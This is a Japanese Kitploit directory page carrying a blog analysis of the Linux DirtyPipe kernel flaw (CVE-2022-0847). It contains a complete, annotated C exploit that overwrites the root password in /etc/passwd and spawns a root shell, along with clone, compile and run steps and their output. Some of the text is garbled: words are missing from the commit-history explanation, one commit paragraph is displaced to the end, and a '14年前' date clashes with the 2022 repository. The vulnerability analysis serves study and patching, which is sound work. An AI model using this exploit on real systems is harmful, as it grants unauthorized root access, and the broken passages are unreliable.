Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/greetdawn/cve-2022-0847-dirtypipe
特権昇格脆弱性分析エクスプロイトペネトレーションテスト学習と教育バイナリエクスプロイト
GitHubgreetdawn/cve-2022-0847-dirtypipe

CVE-2022-0847-DirtyPipe

CVE-2022-0847(DirtyPipe)の詳細な分析と概念実証エクスプロイト。初期化されていないパイプバッファフラグを介して任意のファイル上書きとローカル権限昇格を可能にするLinuxカーネルの脆弱性です。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
14年前未レビュー

title: CVE-2022-0847(DirtyPipe ローカル権限昇格)脆弱性分析 date: 2022-03-08 14:41:20 tags: - Linux権限昇格 categories: - セキュリティ研究


脆弱性の説明

CVE-2022-0847 は、5.8 以降の Linux カーネルに存在する脆弱性です。攻撃者はこの脆弱性を利用して、任意の読み取り専用ファイル内のデータを上書きできます。非特権プロセスがルートプロセスにコードを注入できるため、通常の権限を root 権限に昇格させることができます。

CVE-2022-0847 は CVE-2016-5195 “Dirty Cow”(Dirty Cow 権限昇格)に類似しており、容易に悪用されます。脆弱性の作者はこれを Dirty Pipe と名付けました。

免責事項

このブログは主に、関連するセキュリティインシデントや脆弱性に関する記事を学習・記録するためのものであり、皆さんの学習交流やテストに供するものです。このブログ記事が提供する情報やツールの伝播・利用によって生じたいかなる直接的・間接的な結果や損害についても、利用者本人が責任を負うものとし、記事の作者は一切の責任を負いません。

影響範囲

**危険度:**高

**POC/EXP:**公開済み

影響バージョン:linux カーネル 5.8 以降のバージョン

注:安全なバージョン: Linux カーネル >= 5.16.11、Linux カーネル >= 5.15.25、Linux カーネル >= 5.10.102

脆弱性分析

ここでは脆弱性の詳細を簡単に紹介します。

いくつかの概念:

Linux pipe:半二重であり、データフローは一方の端からもう一方の端にのみ流れます。

pipe_buffer:パイプキャッシュであり、パイプに書き込まれたデータを一時的に格納します。読み書きはすべてパイプキャッシュで行われます。

page:ページフレームであり、4KB です。パイプキャッシュとは 1 対 1 の関係にあります。

pipe_buf_operations:パイプキャッシュ操作セットを格納するために使用されます。

can_merge:マージフラグです。汎用パイプの読み書きが既存バッファへのデータマージを許可する場合は 1 に設定されます。0 に設定されている場合、新しいパイプページセグメントは常に新しいデータに使用されます。

splice():2つのファイルディスクリプタ間でデータを移動します。sendfile() 関数と同様に、パイプをサポートし、ゼロコピーです。ファイルのページキャッシュとパイプキャッシュをバインドするため、書き込み時に同時に影響を与えます。権限チェックでは、データ送信元ファイルに読み取り権限があるかどうかのみをチェックし、書き込み時には権限チェックは行われません。おおよその呼び出しチェーンは次のとおりです:

root@kitploit:~
// fs/splice.c
syscall --> do_splice --> do_splice_to --> splice_read(generic_file_splice_read()) --> call_read_iter(generic_file_read_iter)
root@kitploit:~
// linux/mm/filemap.c
generic_file_read_iter --> filemap_read --> copy_folio_to_iter
root@kitploit:~
// linux/lib/iov_iter.c
copy_folio_to_iter --> __copy_folio_to_iter --> copy_page_to_iter_pipe

image-20220310151242149

Linuxパイプ「マージ」検出の歴史:

ここでは作者の説明に基づいてコードを簡単に分析します。

  1. 最初の Linux システムは、概念説明と同じく can_merge フラグを持ち、新しいデータを現在存在するパイプキャッシュに書き込めるかどうかをマークするために使われていました。

  2. Commit 5274f052e7b3 は splice() 関数を追加しましたが、検証は変わらず、can_merge フラグに基づいて現在のパイプキャッシュが使用可能かどうかを判断していました。

    image-20220310130856202

    image-20220310130701741

  3. Commit 01e7187b4119 は can_merge フラグの使用をやめ、struct pipe_buf_operations ポインタを比較するようになりました。すなわち、anon_pipe_buf_ops タイプのみが新しいデータの書き込みを許可するため、そのタイプかどうかを検証するだけでよくなりました。

    image-20220310133214287

    image-20220310133251831

  4. Commit 241699cd72a8 は 2 つの新しい関数を追加し、新しい を割り当てることができますが、その フラグを初期化しませんでした。

したがって、作者は以下の利用手順を考えました。

  1. パイプを作成する
  2. pipe_buffer の PIPE_BUF_FLAG_CAN_MERGE フラグを設定する
  3. パイプを空にし、ターゲットの前のデータをパイプに連結する。このとき splice はパイプキャッシュとページキャッシュをバインドする。
  4. 任意のデータをパイプに書き込む。このとき write は最終的に copy_page_from_iter() を呼び出して書き込みを実現する。PIPE_BUF_FLAG_CAN_MERGE フラグがあるため、直接書き込みが完了する。

Exp の解析

root@kitploit:~
/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <[email protected]>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
	if (pipe(p)) abort();										// 创建p[0]和p[1]分别指向管道两端。前者读,后者写

	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);    	    // 获取管道大小
	static char buffer[4096];

	/* fill the pipe completely; each pipe_buffer will now have
	   the PIPE_BUF_FLAG_CAN_MERGE flag */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;      // 填充管道,顺便设置PIPE_BUF_FLAG_CAN_MERGE
		write(p[1], buffer, n);
		r -= n;
	}

	/* drain the pipe, freeing all pipe_buffer instances (but
	   leaving the flags initialized) */
	for (unsigned r = pipe_size; r > 0;) {						// 清空管道,但是保留标志位
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		read(p[0], buffer, n);
		r -= n;
	}

	/* the pipe is now empty, and if somebody adds a new
	   pipe_buffer without initializing its "flags", the buffer
	   will be mergeable */
}

int main() {
	const char *const path = "/etc/passwd";								// 定义目标文件路径

        printf("Backing up /etc/passwd to /tmp/passwd.bak ...\n");         // 创建/tmp/passwd.bak备份
        FILE *f1 = fopen("/etc/passwd", "r");
        FILE *f2 = fopen("/tmp/passwd.bak", "w");

        if (f1 == NULL) {											   // 判断文件读写是否正常打开
            printf("Failed to open /etc/passwd\n");
            exit(EXIT_FAILURE);
        } else if (f2 == NULL) {
            printf("Failed to open /tmp/passwd.bak\n");
            fclose(f1);
            exit(EXIT_FAILURE);
        }

        char c;
        while ((c = fgetc(f1)) != EOF)								    // 逐字节写入
            fputc(c, f2);

        fclose(f1);
        fclose(f2);

	loff_t offset = 4; // after the "root"                                // 定义偏移,即覆盖目标位置为root字段之后
	const char *const data = ":$1$aaron$pIwpJwMMcozsUxAtRa85w.:0:0:test:/root:/bin/sh\n"; // openssl passwd -1 -salt aaron aaron 													 // 定义覆盖的数据
        printf("Setting root password to \"aaron\"...\n");
	const size_t data_size = strlen(data);

	if (offset % PAGE_SIZE == 0) {									  // 判断写入位置是否在页边界上
		fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
		return EXIT_FAILURE;
	}

	const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;			// 定义当前页面结尾
	const loff_t end_offset = offset + (loff_t)data_size;				// 定义覆盖数据的结尾
	if (end_offset > next_page) {									  // 判断覆盖是否跨页
		fprintf(stderr, "Sorry, cannot write across a page boundary\n");
		return EXIT_FAILURE;
	}

	/* open the input file and validate the specified offset */
	const int fd = open(path, O_RDONLY); // yes, read-only! :-)			// 打开只读目标文件
	if (fd < 0) {
		perror("open failed");
		return EXIT_FAILURE;
	}

	struct stat st;													// 定义st保存目标文件信息
	if (fstat(fd, &st)) {											 // 获取目标文件状态
		perror("stat failed");
		return EXIT_FAILURE;
	}

	if (offset > st.st_size) {										 // 判断偏移是否大于文件字节数
		fprintf(stderr, "Offset is not inside the file\n");
		return EXIT_FAILURE;
	}

	if (end_offset > st.st_size) {								      // 判断覆盖结尾是否大于文件字节数
		fprintf(stderr, "Sorry, cannot enlarge the file\n");
		return EXIT_FAILURE;
	}

	/* create the pipe with all flags initialized with
	   PIPE_BUF_FLAG_CAN_MERGE */
	int p[2];
	prepare_pipe(p);                                                 // 创建管道,标志位设置为PIPE_BUF_FLAG_CAN_MERGE

	/* splice one byte from before the specified offset into the
	   pipe; this will add a reference to the page cache, but
	   since copy_page_to_iter_pipe() does not initialize the
	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
	--offset;													// 定位到偏移前1字节
	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);          // 将该字节进行拼接发送到管道
	if (nbytes < 0) {											 // 判断是否移动成功,-1表示失败
		perror("splice failed");
		return EXIT_FAILURE;
	}
	if (nbytes == 0) {											 // 0表示没有数据可以移动
		fprintf(stderr, "short splice\n");
		return EXIT_FAILURE;
	}

	/* the following write will not create a new pipe_buffer, but
	   will instead write into the page cache, because of the
	   PIPE_BUF_FLAG_CAN_MERGE flag */
	nbytes = write(p[1], data, data_size);						  // 覆盖数据写入管道
	if (nbytes < 0) {
		perror("write failed");
		return EXIT_FAILURE;
	}
	if ((size_t)nbytes < data_size) {
		fprintf(stderr, "short write\n");
		return EXIT_FAILURE;
	}

	char *argv[] = {"/bin/sh", "-c", "(echo aaron; cat) | su - -c \""
                "echo \\\"Restoring /etc/passwd from /tmp/passwd.bak...\\\";"
                "cp /tmp/passwd.bak /etc/passwd;"
                "echo \\\"Done! Popping shell... (run commands now)\\\";"
                "/bin/sh;"
            "\" root"};
        execv("/bin/sh", argv);										// 开启root下shell

        printf("system() function call seems to have failed :(\n");
	return EXIT_SUCCESS;
}

脆弱性の悪用

現在、デモシステムとして kali 仮想マシンを使用しています。

ターゲットシステムには gcc がインストールされていれば十分です。

  • 現在のシステムカーネルバージョンを確認する
root@kitploit:~
wzy@wzy:/tmp$ uname -a
Linux wzy 5.16.0-kali1-amd64 #1 SMP PREEMPT Debian 5.16.7-2kali1 (2022-02-10) x86_64 GNU/Linux
  • exp を取得する
root@kitploit:~
git clone https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit
  • 実行する
root@kitploit:~
./compile.sh	# gcc编译

./exploit	    # 执行exp返回如下error信息
wzy@wzy:/tmp/CVE-2022-0847-DirtyPipe-Exploit$ ./exploit
Backing up /etc/passwd to /tmp/passwd.bak ...
Setting root password to "aaron"...
system() function call seems to have failed :(

su root 
密码: aaron 

登录后极为root权限
  • passwd ファイルを復元する
root@kitploit:~
mv /tmp/passwd.bak /etc/passwd

脆弱性の修正

まず merge プロパティの設定を修正します

image-20220310160200916

次に flags の初期化設定を追加します

image-20220310160536267

image-20220310160703429

編集者注

ここで、Psyduck 氏が貴重な時間を割いて、脆弱性公開者の exp に基づいて原理の分析と整理を行ってくださったことに感謝します。氏は、ローカルでも基盤レベルで対応するデバッグを行ったが、明確なデータ呼び出しチェーンはまだないと述べており、現在もさらに調査を進めています。

参考リンク

  • https://dirtypipe.cm4all.com/
  • https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit

免責事項

このブログは主に、関連するセキュリティインシデントや脆弱性に関する記事を学習・記録するためのものであり、皆さんの学習交流やテストに供するものです。このブログ記事が提供する情報やツールの伝播・利用によって生じたいかなる直接的・間接的な結果や損害についても、利用者本人が責任を負うものとし、記事の作者は一切の責任を負いません。

ツールをダウンロード
struct pipe_buf_operations
flags

image-20220310155046455

  • Commit f6dd975583bd はこのポインタ比較を、各バッファのフラグ PIPE_BUF_FLAG_CAN_MERGE の比較に変換し、PIPE_BUF_FLAG_CAN_MERGE を注入できるようにしました。同時に、他のタイプの buf_ops の定義と使用を廃止しました。

    image-20220310134233873

    image-20220310134337376

    image-20220310142420972